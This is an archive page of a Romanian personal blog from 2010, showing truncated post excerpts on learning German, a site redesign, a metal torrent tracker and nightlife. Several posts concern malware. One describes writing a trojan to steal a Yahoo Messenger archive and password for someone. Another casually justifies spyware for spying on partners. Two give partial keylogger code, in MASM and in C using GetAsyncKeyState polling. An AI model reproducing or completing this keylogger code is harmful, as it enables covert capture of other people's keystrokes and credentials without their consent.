Archive for 2010

13 / 03

Am tot zis ca o sa schimb interfata pana saptamana trecuta sambata sau ceva de genul , problema a fost ca intre timp ma rugat cineva daca pot sa ii scriu un fel de mic trojan care sa poata activa arhiva de YaHoo Messenger si sa o descarce si sa poata captura si parola si alte chesti simple asa ca am scris aproximativ 5 zile la el si mai am foarte putin pana il termin .
In alta ordine de idei , noaptea trecuta am fost in nu stiu ce club afara din Bucuresti si eu nici nu am stiut ca e afara din Bucuresti pana cand nu am vazut ca iesim din Bucuresti , iar dintre oamenii cu care am fost 8 la numar nu cunosteam decat 2 , plus de asta eu sunt cam inert cand vine vorba despre orice dans in afara de headbang .
Nu am baut alcool aproape de loc pentru ca m…

Citeste in Integritate



6 / 03

Astazi majoritatea programatorilor nu prea mai au umor si nici sensibilitate , adica sincer cei care fac tot felul de aplicatii uita sa le adauge lucruile de care utilizatorii simpli au cea mai mare nevoie .
Sa luam ca de exemplu aplicatile de tip backdoor/trojan/rootkit , atunci cand cel care le-a programat s-a gandit la o integrare complexa in sistemul de operare de ce nu s-a gandit sa adauge si o optiune de detasare si refacere a sistemului de operare ?
Adica chiar asa de insensibili pot sa fie ? Nu le pare rau ca poate tot felu de monitorizari pot sa incetineasca sistemul de operare si cel care are acel pc sa fie dezavantajat ?
Eu inteleg ca marea parte a programatorilor scriu astfel de programe nu pentru ei ci pentru prieteni sau pentru oamenii ale caror neveste / prietene ii insala dar tot nu inseamna ca nu esti insensibil . Asa ca m am gandit…

Citeste in Integritate



5 / 03

De ceva timp m am apucat sa invat ceva germana , normal procesul este greu/lent (melcul in spatiu … ) si fara prea mari ( insesizabile ) rezultate . Si aici trebuie sa ii dau dreptate lui Mark Twain care spunea : ” Nu am stiut niciodata pana acum de ce a fost inventata eternitatea . A fost inventata ca sa ne dea noua o sansa sa invatam germana . ” , dar el a avut aproximativ 20 de citate despre limba germana si ma gandesc ca era fascinat sau obsedat de limba germana .
Acum poate cineva se intreaba care au fost motivele mele , sincer sa spun eu sunt un tip mai ” muzical ” , adica pentru mine sunetul are o mare importanta imi place sa analizez fiecare vibratie , sa simt fiecare sunet din orice mediu , ma ghidez dupa sunete daca aud un sunet ce imi trezeste interesul privirea mi se atinteste pe sursa…

Citeste in Integritate



2 / 03

Am scris o noua interfata pentru website e terminata in proportie de 60% , va fi mult mai simpla , am scris alta noua tocmai pentru faptul ca cea curenta are multe imagini , asa ca m am gandit sa scriu una care este mai mult text va avea maxim 10 imagini in total .
Interfata curenta curenta nu are culorile independente de monitor si se vede foarte diferit de la un monitor la altul , pe unul ce are culorile mai inchise se vede inadecvat , este compatibila cu toate browserele de la IE 6 pana la IE 8 , firefox , opera si altele pe safari are o mica problema care va fi remediata in noua interfata .
De asemenea noua interfata va avea culori interschimbabile intre interfata cu text negru pe fundal alb si text alb pe fundal negru , nu ma pricep foarte bine la design deci dupa cum deja am spus va fi…

Citeste in Integritate



20 / 02

RMT sau Romanian Metal Torrents va implini incurand 4 ani de existenta in acest timp probabil a avut cel mai mare numar de torrente active cu muzica metal , ceea ce e o realizare destul de importanta .
Desi exista zeci de mii de trupe de metal , sunt cu adevarat foarte putini interesati de asa ceva , trebuie sa recunoastem ca cel putin in Romania nu cred ca sunt nici macar 4% din romani care asculta asa ceva .
Si chiar daca Romania este o tara unde muzica metal a intalnit poate cea mai slaba sansa de afirmare , in aceasta tara exista cel mai reusit torrent tracker pe acest domeniu . Si nu o spun eu ci o spun oamenii de pe forumuri care cauta o sursa vasta si sigura de metal .
Marturisesc ca desi ascult mai bine de un deceniu acest tip de muzica , nu folosesc prea mult acest tracker asta pentru…

Citeste in Integritate



16 / 02

Am rescris metoda cu GetAsyncKeyState in masm , ma rog e mai necizelata dar merge :
Cod :

  1.  
  2.  
  3. .Const
  4.  
  5. .Data?
  6.  
  7. sh DD ?
  8. cp DD ?
  9. Number DD ?
  10.  
  11. index DD ?
  12. tindex DD ?
  13. TempC DB ?
  14.  
  15. .Data
  16.  
  17. WprType DB "%lc", 0
  18. Keys DB 512 Dup(0)
  19.  
  20. .Code
  21. start:

Citeste in Integritate



15 / 02
Metoda cu GetAsyncKeyState , o metoda mai simpla dar care consuma mult mai multe resurse . Se poate reduce dramatic din consumul resurselor daca folosim o mica intarziere in loop , dar daca intarzierea e prea mare exista evident sansa sa inregistram mai putin decat trebuie . De regula o intarziere de maxim 50 milisecunde face imposibil asa ceva si scade consumul de proc de pe la 40% la 1% . Functia :
  1.  
  2.  
  3. void keylog(char *ptrKeyBuffer){
  4.    for(int i=8;i< =190;i++){
  5.    if (GetAsyncKeyState(i) == -32767){ // IS_PRESSED ?
  6.     if(i == 0x0D){ // [-EnTer-]
  7.        strcat(ptrKeyBuffer,"[-Enter-]");
  8.         } // IF
  9.         else if(i == 0x20){ // [-SpAce-]
  10.        strcat(ptrKeyBuffer," ");
  11.    

Citeste in Integritate